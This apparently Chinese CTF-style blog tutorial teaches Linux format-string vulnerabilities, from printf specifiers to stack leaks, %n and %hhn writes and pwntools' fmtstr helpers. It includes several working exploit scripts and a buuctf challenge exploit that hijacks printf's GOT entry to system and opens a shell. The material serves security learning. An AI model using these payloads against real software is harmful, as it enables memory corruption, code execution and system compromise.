[二進位制漏洞]PWN學習之格式化字串漏洞 Linux篇

VxerLee暱稱已被使用發表於2022-06-24

[二進位制漏洞]PWN學習之格式化字串漏洞 Linux篇

格式化輸出函式

最開始學C語言的小夥伴們,肯定都很熟悉printf("Hello\n"),我們利用printf來輸出字串到控制檯,當然我們也可以利用printf來輸出整數型別、浮點型別、其他等等型別,這一切都歸功於格式化輸出函式

printf 函式族一共有8個函式:

img

其中8個函式分為兩大類,每一類中都有一個相互對應。例如:printfvprintf兩個函式為一對。其能完全一樣,不同點在於引數格式。

printf函式引數使用不定引數(...)傳遞引數,vprintf使用引數列表(va_list)傳遞引數。

fprintf()  "按照格式字串將輸出寫入流中。三個引數分別是流、格式字串和變參列表。"
printf()   "等同於fprintf(),但是它的輸出流為stdout。"
sprintf()  "等同於fprintf(),但是它的輸出不是寫入流而是寫入陣列。在寫入的字串末尾必須新增一個空字元。"
snprintf() "等同於sprintf(),但是它指定了可寫入字元的最大值size。超過第size-1的部分會被捨棄,並且會在寫入陣列的字串末尾新增一個空字元。"
dprintf()  "等同於fprintf(),但是它的輸出不是寫入流而是一個檔案描述符fd。"

"分別與上面的函式對應,但是它們將變參列表換成了va_list型別的引數。"
vfprint()、vprintf()、vsprintf()、vsnprintf()、vdprintf() 

printf函式族功能介紹

int printf (const char* _format,...);

printf是我們使用最多的一個函式,其功能為把格式化之後的字串輸出到標準輸出流中。

大多數時候標準輸出是控制檯的顯示,不過在MCU中,我們經常會將標準輸出重定向到串列埠,然後通過串列埠檢視資訊。

所有printf函式族的返回值是:寫入字串成功返回寫入的字元總數,寫入失敗則返回一個負數。

int sprintf(char * _s,const char* _format,...)

sprintf功能與printf類似,不過它是將字串格式化輸出到它的第一個引數所指定的字串陣列中。

由於它是輸出到字元陣列,所以會存在陣列大小不足或者傳遞引數非法(後面要學的格式化漏洞),導致格式化後的字元溢位,任意記憶體讀寫,堆疊破壞被修改返回地址等,所以推薦使用snprintf函式來代替這個不安全的函式。ps:(哈哈哈這樣我們就不好挖洞了)

int fprintf(FILE* _s,const char* _format,...)

fprintf功能與printf類似,但是它的輸出流是(FILE*)中。

這個流可以是標準輸出(stdout)、標準錯誤(stderr)、或者是檔案(FILE* fd)。

所以理論printf可能是呼叫frpitnf來實現的。

printf引數

接下來的中點:格式化輸出的引數。

printf函式族的格式化引數屬性相同,下面以printf為例講解字串格式舒心。

printf格式化控制屬性格式如下:

image-20220621215711386

type(型別)

type是格式控制字元的型別,為必選項。在printf中會根據型別對應的格式去棧中讀取對應大小的資料,(如果讀取不到,就會把棧資料洩露出來了。)

這裡的n要注意記一下,格式化漏洞會用到x和p也非常常用,s則用於列印字串

img

flags(標誌)

flags用於規定輸出樣式。例如我們有時需要對齊列印多個數字,但是數字的長度並不是固定的,此時可以用flag引數進行設定。

#include <stdio.h>
int main()
{
    //利用flags對齊每個數字。
    printf("左對齊每個數字:\n");
    printf("%-04d\n%-04d\n%-04d\n%-04d\n",
          	1,
            12,
            123,
            1234);
    printf("右對齊每個數字:\n");
    printf("%4d\n%4d\n%4d\n%4d\n",
           1,
           12,
           123,
           1234);
    return 0;
}

image-20220621222455238

flags支援引數如下:

img

number(寬度)

字元寬度有固定和可變兩種型別。固定寬度為在型別前面加一個數字表示寬度:

printf("number is %08d\n",1234);

可變寬度型別是指在格式化的寬度可以由一個變數來控制指定,在程式中使用一個星號(*)進行佔位,然後在引數中指定寬度。

printf("number is %0*d",8,1234);

image-20220621222944937

precision(精度)

精度的屬性格式只有一個,對於不同型別的效果不同。具體描述見下圖:

img

#include <stdio.h>
int main()
{
    //整數
    printf("int:%.4d\n",123); //因為長度不夠4,所以會被截斷前面用0來填充。
    //浮點數
    printf("float:%.2f\n",3.1415926);
    printf("float:%.3f\n",1.23);
    //字串
    printf("string:%.6s\n","hellohacker!");
    return 0;
}

image-20220621225057523

length(型別長度)

型別長度用於修飾type(型別)的長度。

比如在列印一個uint64_t型別的無符號整形數字時,應該使用%llu來進行格式化輸出。

#include <stdio.h>
#define LLONG_MIN -9223372036854775808
#define LLONG_MAX 9223372036854775807
int main()
{
    //ll表示long long
    //llu表示unsigned long long
    printf("long long:%lld\n",LLONG_MIN);
    printf("unsigned long long:%llu\n",LLONG_MIN);
    return 0;
}

image-20220621231055725

img

n$(引數欄位)

我看到有些題目中會有n$ n代表數字這種控制符,這個其實和控制寬度的*差不多,也是在引數中控制的。

image-20220621232837634

#include <stdio.h>

int main(void) {
    //1$代表引數"a" -->第一個引數的意思
    //*代表寬度
    //3$代表引數"10" -->第3個引數的意思
    //輸出右對其10空格,並且輸出字串a.
    //後面以此類推。
    printf("%1$*3$s\n", "a", "b", 10, 20);
    printf("%1$*4$s\n", "a", "b", 10, 20);
    printf("%2$*3$s\n", "a", "b", 10, 20);
    printf("%2$*4$s\n", "a", "b", 10, 20);
    return 0;
}

image-20220621232957504

格式化字串漏洞

格式化字串漏洞從2000年左右開始流行起來,幾乎在各種軟體中都能見到它的身影,隨著技術的發展,軟體安全性的提升,如今它在桌面端已經比較少見了,但在物聯網裝置 IoT上依然層出不窮。

#include <stdio.h>
void main()
{
    printf("%s %d %s %x %x %x %3$s","Hello World!",233,"\n");
}

我們輸入的引數只有三個,但是格式化字串中還有3個%x,%3$s不用管它,它就是換行的意思。

ps:(圖片糾正下,不是洩露出了棧地址,是洩露出棧的值)

image-20211022104201236

//leak.c 洩露變數1 2 3題目

#include <stdio.h>
void main()
{
        char hello[]="hello";
        int a=1,b=2,c=3;
        printf("%s %d %s %x %x %x %x %x %x %x %x %3$s","Hello World!",23333,"\n");
}

image-20220621235241437
image-20220621235323566

繼續來看個例子:

#include <stdio.h>
void main()
{
    //字元陣列,50位元組空間。
    char buf[50];
    
    //讓使用者輸入任何資料,大小50位元組。
    fgets(buf,sizeof(buf),stdin);
    
    //輸出使用者輸入的任何資料
    printf(buf);
}

這個例子相比上面的,省去了printf引數個數,只有一個printf引數,哈哈哈不過他同樣存在漏洞。

我們用pwndbg來詳細復現下漏洞。

image-20220622101607789

image-20220622101853068

image-20220622102148508

格式化字串漏洞原因:

這裡總結下出現格式化字串漏洞的原因:根本的原因是呼叫printf函式族的時候,因為格式字串要求的引數個數和實際的引數格式不匹配導致去堆疊中取資料,導致洩漏出堆疊資料。

還有是因為程式設計師對使用者輸入過濾不嚴格導致,正常使用者可能根本不會去輸入這個格式控制符這種奇怪的字串,但是因為程式設計師忽略了黑客這類人員。

對過濾內容不嚴格導致格式化字串漏洞的產出,其實這也有點像SQL隱碼攻擊、XSS等這類Web漏洞原理,都是由於沒有過濾使用者輸入造成的。

漏洞利用

接下來學習格式化字串漏洞真正在實際中的應用,比如CTF比賽等等。

對於格式化字串漏洞的利用主要有:

  • 使程式崩潰(測試漏洞是否存在)
  • 棧資料洩露(棧資料讀)
  • 棧資料覆蓋(棧資料寫)
  • 任意地址記憶體洩露(任意讀)
  • 任意地址記憶體覆蓋(任意寫)

使程式崩潰(測試)

我們格式直接測試輸入一堆的%s來測試程式是否有過濾格式控制符,如果沒有過濾當%s讀取到非使用者訪問記憶體空間時候會出現崩潰!

從而來判斷是否存在漏洞,當然你也可以用其他格式控制符,這裡主要是記錄下這種漏洞利用場景。

#include <stdio.h>
int main()
{
	char str[100];
    read(0,str,100);
    printf(str);
	return 0;
}

image-20220622104053627

造成程式崩潰原因:printf根據格式化型別%s,然後對棧裡面取地址視為char陣列指標,然後在地址處取字元直到出現\x00為止,由於有些地址是NULL,或者有些地址不是使用者層訪問的,所以出於Linux核心的保護機制會造成崩潰,使程式收到SIGSEGV訊號。

棧資料洩露(堆疊讀)

  • 洩漏棧記憶體
    • 獲取某個變數的值
    • 獲取某個變數對應地址的記憶體

例題如下:(要求1.獲取棧變數數值,2.獲取棧變數對應字串)

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

先思考下如何通過輸入來洩漏出棧記憶體?

解答:

正常輸入肯定是不行的,由於我們已經分析過漏洞原理(因為控制格式化字串和引數不匹配造成漏洞),所以這裡我們需要構造出格式化字串來作為輸入。

%08x的意思是,寬度為8不足8用0填充,那麼我們可以構造字串%08x.%08x.%08x來看看輸出結果。

Tips:(這裡需要注意的是,並不是每次得到的結果都一樣 ,因為棧上的資料會因為每次分配的記憶體頁不同而有所不同,這是因為棧是不對記憶體頁做初始化的。)

image-20220622132425837

image-20220622132615874

獲取棧變數數值

我們已經詳細的學過格式化輸出函式,現在我們用%n$08x來獲取n+1個引數的值。

poc:

%n$08x
%1$08x.%2$08x.%3$08x (列印棧中第一個第二個第三個數值)
%3$08x.%3$08x.%3$08x (列印棧中第三個數值)
%3$08x.%2$08x.%1$08x (列印堆中第三個第二個第一個數值)

image-20220622133324386

獲取棧變數字串

poc:

%n$s (只是把type改改即可)
%17$s

找了下,這裡第17個引數位置這裡是個字串,可以列印。

image-20220622134834366

image-20220622134909669

堆疊讀總結

  • 用%nx或者%p,來按順序洩漏棧資料
  • 用%s獲取變數地址內容,遇零截斷
  • 用%n\(x或%n\)p或%n$s,獲取指定第n個引數的值或字串。

棧資料覆蓋(堆疊寫)

堆疊寫(覆蓋)的核心原理是利用%n對引數進行覆蓋,首先我們來複習下%n控制符。

%n的解釋如下:

這個程式碼是獨特的,因為他並不產生任何輸出。
相反,濤目前為止函式所產生的輸出字元數目將被儲存到對應的引數中。

讓我們寫個程式碼來熟悉熟悉:

#include <stdio.h>
void main()
{
    int number=0;//這裡number被賦為0
    char str[] = "hello";
    printf("%s1111111111111111%n\n",str,&number);//這裡number 利用%n 賦值為回顯的長度
    printf("%d\n",number);
}

image-20220622175748019

覆蓋變數

這裡來做一道小題目,利用棧覆蓋變數,讓其進入modified c分支。

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

先分析程式碼並且思考:

程式碼通過if(c16)進入modified c.分支,我們要讓c16必須使用棧覆蓋漏洞,棧覆蓋漏洞屬於格式化字串漏洞,由於程式碼裡面對輸入沒做過濾並且直接printf判斷為存在格式化字串漏洞。

  1. 確定變數C的地址 0xffffd58c

image-20220622194630649

  1. 確認變數C地址在printf引數中排第幾?

這裡剛開始我把自己坑了,一開始我確認變數C位置如上圖示記的位置,然後從引數1開始數,數到變數C剛好是30,於是我構造Payload用pwntools執行,總是崩潰,原因是0xffffd58c處的值是0x315,這個是一個整數不是一個地址,當改寫這0x315地址,肯定會崩潰,因為這肯定是系統保護的地址。

正確做法是,利用格式化字串,位元組把0xffffd58c(變數C地址)寫進棧裡,然後找這個格式化字串printf引數中的順序,如上圖1111111111111%s地址0xffffd528,距離引數1剛好是5個位置,所以是引數6,排第6。

  1. 構造Payload

有了上面的資料就可以構造Payload了,Payload基本如下:

c_address = 0xffffd58c
padding   = b'111111111111' #這裡為什麼是12個1,因為c_address佔4位元組
Payload   = p32(c_address)+b''+b'%6$n' #12+4=16
  1. 編寫EXP,執行。

實際情況中,c_address並不固定,所以這題目提前用printf輸出了變數C的地址。

#匯入pwn模組
from pwn import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封裝程式,ELF解析
p        = process("./overflow")
overflow = ELF('./overflow')
#接收訊息,直到'\n'
c_address = int(p.recvuntil('\n',drop=True),16)
print("變數C地址:{0}".format(hex(c_address)))
#填充12位元組+地址(4位元組)=16
padding = b'111111111111'
#構造Payload,傳送
Payload = p32(c_address) + padding + b'%6$n'
print("Payload:{0}".format(Payload))
print(p.sendline(Payload))

#回顯
print(p.recv())

image-20220622212758242

任意地址記憶體洩漏(任意讀)

在網上看了些文章寫的都很繞來繞去,任意地址記憶體洩漏的核心原理就是用%s去讀你輸入的十六進位制格式(地址)的記憶體。

ps:這其實並不算任意地址記憶體洩漏,測試發現如果記憶體中一開始就是0,那直接就截斷了。

漏洞主要利用的步驟:

  • %n$s
  • /x01/x02/x03/x04 (你需要讀記憶體的地址)
  • 找出這個(你需要讀記憶體的地址)在第幾個引數,這樣好用%n$s

下面還是用自己寫的一個例子,來實踐下。

(要求用pwntools列印出flag)

#include <stdio.h>
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";

int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  gets(s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
  1. 肉眼觀察原始碼

明顯的存在格式化字串漏洞,因為沒有過濾使用者輸入資料,並且直接用printf列印。

  1. 確定出char s[100]在第2個printf%s解析時候,在棧中是第幾個引數?

除錯得出在第4個引數這裡,如果不能除錯,那隻能用一開始的1111%p%p%p%p%p%p%p這種方式去爆破,當解析到1的ASCII碼即可。

image-20220622170359011

  1. 構造出Payload

上面已經確定引數位置,那就可以構造%4$s,接下來需要把1111替換成我們要列印記憶體的地址,這裡要列印flag符號,(可以用readelf -s 來看看flag符號名)

image-20220622170732004

就是叫flag,那麼可以用pwntools的pwnlib.elf模組來獲取符號名的偏移,具體程式碼如下:

leakmemory = ELF("./leakmemory")
#獲取flag符號偏移
flag_offset = leakmemory.symbols['flag']

最後構造的Payload如下:

Payload = p32(flag_offset) + b'%4$s'
  1. 寫出exp,列印出flag
#匯入pwn模組
from pwn import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封裝程式
p = process("./leakmemory")
#解析ELF
leakmemory = ELF("./leakmemory")
#獲取flag符號偏移
flag_offset = leakmemory.symbols['flag'] #如果要洩漏got表可以改成 leakmemory.got['printf']等函式名.
#構造Payload
Payload = p32(flag_offset) + b'%4$s'
#傳送Payload
print("[+] 傳送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回資料
print("[+] 接受資料:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#列印flag
print("[+] flag如下:")
print("")
#讀取leakmemory中flag記憶體
print(leakmemory.read(flag,30))

image-20220622171718046

任意地址記憶體覆蓋(任意寫)

任意地址記憶體寫(覆蓋)的原理其實就是堆疊寫(棧資料覆蓋)的加強版,在堆疊寫裡面我們已經可以覆蓋要覆蓋的變數了,不過具體覆蓋的數值(大數(地址)、小數(小於4位元組))還不能實現,這裡主要學習如何覆蓋成任意數字。

覆蓋小數(小於4位元組)

首先呢,來學習如何把變數覆蓋成小於4的數字,比如說覆蓋成2。

還是老題目:(要求走a==2分支,並列印出modified a for a small number.)

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

問題思考分析:

這裡的a變數是123,我們要把它覆蓋成2那就需要用到堆疊寫裡面的技巧,把a變數地址放前面然後構造Payload對嗎?不對因為a變數地址最小也是佔用了4位元組的,我們無論如何都不能覆蓋成2,所以思路就是我把把地址寫到後面去啊,又沒說地址非得寫在前面(我的笨腦瓜),這樣就可以構造任意小於4的值了。

這裡我懶得在分步驟除錯確定a位置了,直接上exp:

#匯入pwn模組
from pwn import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封裝程式,ELF解析
p   = process("./overflow")
elf = ELF("./overflow")
#gdb.attach(p,"b printf")

'''
exp
'''
def exp():
    #接收訊息直到出現'\n'
    c_address = int(p.recvuntil('\n',drop=True),16)
    #分支2的變數是a,從符號表中獲取
    a_address  = elf.symbols['a']
    log,info("var c: %s" % hex(c_address))
    log,info("var a: %s" % hex(a_address))
    #構造Payload
    padding = b'11'
    padding_address = b'\x00\x00'
    Payload = padding + b'%8$n' + padding_address + p32(a_address)
    log,info("Payload: %s" % Payload)
    #傳送Payload
    p.sendline(Payload)

#main
if __name__ == '__main__':
    exp()
    print(p.recv())

image-20220623215946976

覆蓋大數(即任意地址)

一般我們理解的任意地址記憶體覆蓋(寫),就是能把這個地址記憶體覆蓋成任意想覆蓋的地址,因為一般指標用來儲存地址即4位元組,可是覆蓋成4位元組那得用多少padding,緩衝區恐怕都不夠用啊,所以覆蓋大數的技巧在於把覆蓋地址拆分出來,因為棧是連續的,所以拆分成覆蓋每個位元組。

比如:0x804a024地址
0x804a024 [原來:0x02] [修改成:0x78]
0x804a025 [原來:0x00] [修該成:0x56]
0x804a026 [原來:0x00] [修改成:0x34]
0x804a027 [原來:0x00] [修改成:0x12]

這樣我們的padding最大也只要0xff即255一般來說沒什麼問題應該(哈哈我也剛學,應該沒啥問題把,各位大佬們)。

這裡可以複習下h這個控制符了,h用於n時是一個指向short型別整數的指標,(圖片不夠完整)hh用於n時是一個指向char型別整數的指標。

image-20220623222108686

寫入單個位元組主要用到hh

題目還是這題:(要求進入b==0x12345678分支,輸出modified b for a big number!)

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

思考並分析:

  1. b在全域性變數,可以用符號表來獲取地址
  2. b要==0x12345678才能進入分支,這是個大數,需要構造精妙的payload
Payload  = p32(b地址)
Payload += p32(b地址+1)
Payload += p32(b地址+2)
Payload += p32(b地址+3)
Payload += padding_1
Payload += '%6$hhn'
Payload += padding_2
Payload += '%7$hhn'
Payload += padding_3
Payload += '%8$hhn'
Payload += padding_4
Payload += '%9$hhn'
  1. 具體padding
#首先一開始我們4個地址佔用了16位元組,然後我要覆蓋成的數字是0x78
#所以.
padding_1 = %104c  #(0x78-0x10=0x68=104)
padding_2 = %222c  #0x56 = 86 ,整數溢位後面章節會學到 16+104+136溢位成0 86+136=222
padding_3 = %222c  #0x34 = 52 ,16+104+222=342,342-256=86,256-86=170,170+52=222
padding_4 = %222c  #0x12 = 18 ,564,564-256=308,308-256=52,256-52=204,204+18=222
  1. 完整EXP:
#匯入pwn模組
from pwn import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封裝程式,ELF解析
p   = process("./overflow")
elf = ELF("./overflow")
#gdb.attach(p,"b printf")

'''
exp
'''
def exp():
    #獲取變數地址
    a_address  = elf.symbols['a']
    b_address  = elf.symbols['b']
    c_address = int(p.recvuntil('\n',drop=True),16)
    log,info("var a: %s" % hex(a_address))
    log,info("var b: %s" % hex(b_address))
    log,info("var c: %s" % hex(c_address))
    #構造Payload
    #78 ce 02 14
    padding_1   = b'%104c'
    padding_2   = b'%222c'
    padding_3   = b'%222c'
    padding_4   = b'%222c'
    address_sum = p32(b_address)+p32(b_address+1)+p32(b_address+2)+p32(b_address+3)
    Payload     = address_sum+padding_1+b'%6$hhn'+padding_2+b'%7$hhn'+padding_3+b'%8$hhn'+padding_4+b'%9$hhn'
    log,info("padding_1: %s" % padding_1)
    log,info("padding_2: %s" % padding_2)
    log,info("padding_3: %s" % padding_3)
    log,info("padding_4: %s" % padding_4)
    log,info("address_sum: %s" % address_sum)
    log,info("Payload: %s" % Payload)
    #傳送Payload
    p.sendline(Payload)

#main
if __name__ == '__main__':
    exp()
    print(p.recv())

image-20220623231250354

pwnlib.fmtstr學習

這裡學一下pwnlib.fmtstr模組,因為我們每次都手動去除錯,去獲取格式化字串在printf是第幾個引數,構造任意地址記憶體覆蓋的Payload都很花費時間,而且都只是些體力活。

所以這種事情為何不交給py去做呢,這裡就不詳細的去分析模組原始碼以及他原理的東西了(原理基本也和我們手動差不多)。

FmtStr類(獲取引數偏移)

pwnlib.fmtstr模組中有一個FmtStr的類,他的主要用途是自動給你構造一個payload用於洩漏出格式化字串的堆疊地址,並且可以用offset引數自動得到格式化字串在printf堆疊中是第幾個引數。(往常我們都是去手動除錯,計算。)

題目還是之前的:任意地址記憶體覆蓋(任意寫)的題目

#用FmtStr類獲取`格式化字串`在printf函式中的引數位置(偏移)
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#p = process('./overflow')#這FmtStr有個坑啊,我看網上文章都這樣寫,我除錯好久才發現,這個p=process('./overflow')不能寫在這裡.要寫到exec_fmt函式裡

def exec_fmt(payload): #固定寫法
    p = process('./overflow')
    gdb.attach(p,'b printf')
    p.recvline()#先接收printf,省的卡住
    #看看,FmtStr類給我們構造的paylaod
    print(payload)
    p.sendline(payload)
    info = p.recv()
    #看看返回的資料
    print(info)
    return info

if __name__ == '__main__':
    print("準備洩漏出(格式化字串)在printf函式引數中的位置:")
    auto_fmtstr = FmtStr(exec_fmt)
    print("(格式化字串)在printf函式中引數的位置是:{0}".format(auto_fmtstr.offset)

講解:

FmtStr類幫我們自動構造了Payload,類似:b'aaaabaaacaaadaaaeaaaSTART%1$pEND,其中這個%1$p很熟悉,是洩漏出第一個引數的地址。

然後FmtStr利用py正則在返回的字串中找到START就可以獲取到第一個引數的地址,然後再它在挨個遍歷,知道堆疊中地址也是第一個引數地址就得到偏移。

image-20220624151308812

image-20220624151827951

image-20220624152404124

fmtstr_payload(任意地址記憶體覆蓋)

fmtstr_payload函式則更厲害了,可以直接幫我們構造出任意地址記憶體覆蓋的Payload,還是上面的題目,我們讓程式進入分支3,修改b變數為:0x12345678

完整EXP如下:

#匯入pwn模組
from pwn import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
elf = ELF("./overflow")
#gdb.attach(p,"b printf")


'''
測試函式,用來獲取`格式字串`在printf函式裡引數的順序 (如果不想偷懶可用gdb確定)
'''
def exec_fmt(payload):
    p   = process("./overflow")
    p.recvuntil('\n',drop=True)
    p.sendline(payload)
    return p.recv()
    #[*] Found format string offset: 6

'''
exp
'''
def exp():
    #封裝程式,ELF解析
    p   = process("./overflow")
    #獲取變數地址
    a_address  = elf.symbols['a']
    b_address  = elf.symbols['b']
    c_address = int(p.recvuntil('\n',drop=True),16)
    log,info("var a: %s" % hex(a_address))
    log,info("var b: %s" % hex(b_address))
    log,info("var c: %s" % hex(c_address))
    #構造Payload
    Payload = fmtstr_payload(6,{b_address: 0x12345678})
    log,info("Payload: %s" % Payload)
    #傳送Payload
    p.sendline(Payload)
    #回顯
    print(p.recv())

#main
if __name__ == '__main__':
    exp()

image-20220624153911106

可以看到我們的exp相比之前覆蓋大數的exp要清晰很多,不用手動去構造Payload了,一句py程式碼搞定。

接下來做個CTF題目實戰實戰。

CTF實戰

wdb_2018_2nd_easyfmt(buuctf)

wdb_2018_2nd_easyfmt是一道經典的格式化字串漏洞題目,做這題的時候我是線上在buuctf裡做的,當時有個地方被坑了就是libc版本的問題,後來才發現buuctf資源那一欄裡面可以下載各種版本libc.

libc-2.23.so

題目:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

題目分析:

  1. while(1)迴圈,一直讀取使用者輸入,一直printf,read沒有過濾又直接輸出,存在格式化字串漏洞
  2. 題目主要用意是用格式化字串漏洞劫持printf got表(hook),將其hook成system函式,當read輸入時候可以直接當system引數用。

具體除錯過程不寫了,看exp:

#匯入pwn模組
from pwn import *
from LibcSearcher import *
#設定執行環境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封裝程式,ELF解析
#r   = process("./wdb_2018_2nd_easyfmt")
r   = remote("node4.buuoj.cn",26829)
libc=ELF('./libc-2.23.so')
elf = ELF("./wdb_2018_2nd_easyfmt")
#gdb.attach(r,'b printf')

#libc符號偏移
                    #本地:printf:0x51520 system:0x3d3d0
printf_offset     = libc.sym['printf']
system_offset     = libc.sym['system']


'''
測試函式,用來獲取`格式字串`在printf函式裡引數的順序 (如果不想偷懶可用gdb確定)
'''
# def exec_fmt(payload):
#     #p   = process("./wdb_2018_2nd_easyfmt")
#     r   = remote("node4.buuoj.cn",25128)
#     r.recvuntil('\n',drop=True)
#     r.sendline(payload)
#     return r.recv()
#     #[*] Found format string offset: 6

'''
exp
'''
def exp():
    print(r.recv())
    #列印printf的got表
    printf_got = elf.got['printf']
    log,info("printf_got: {0}".format(hex(printf_got)))

    #利用格式化漏洞,洩漏出printf在libc中的真實地址
    Payload    = p32(printf_got) + b'%6$s'
    log,info("stage 1: {0}".format(Payload))
    r.sendline(Payload)
    printf_address = r.recv()
    print("0x"+printf_address.hex())
    printf_address = u32(printf_address[4:8])
    log,info("printf: {0}".format(hex(printf_address)))
    log,info("puts: {0}".format(hex(printf_address)))

    #利用https://libc.rip/查詢 'printf' printf_address 的libc版本
    libc_address = printf_address-printf_offset
    log,info("libc: {0}".format(hex(libc_address)))

    #Hook(劫持got表) 將printf替換成system
    system = libc_address+system_offset
    log,info("system: {0}, offset({1})".format(hex(system),hex(system_offset)))
    Payload = fmtstr_payload(6,{printf_got: system})
    log,info("stage 2: {0}".format(Payload))
    r.sendline(Payload)

    #獲取Shell
    r.sendline(b"/bin/sh\0")
    r.interactive()
    
#main
if __name__ == '__main__':
    #FmtStr(exec_fmt)
    exp()

image-20220624224927542

PWN菜雞小分隊

感謝大家的閱讀,如文中有本菜雞寫錯的地方請來指正(本菜雞太菜造成),文章篇幅較長,可以根據標題挑選感興趣的看。

在這裡建了個pwn群,希望剛學pwn的同學們可以一起進來交流,分析,提問題等等。

img

相關文章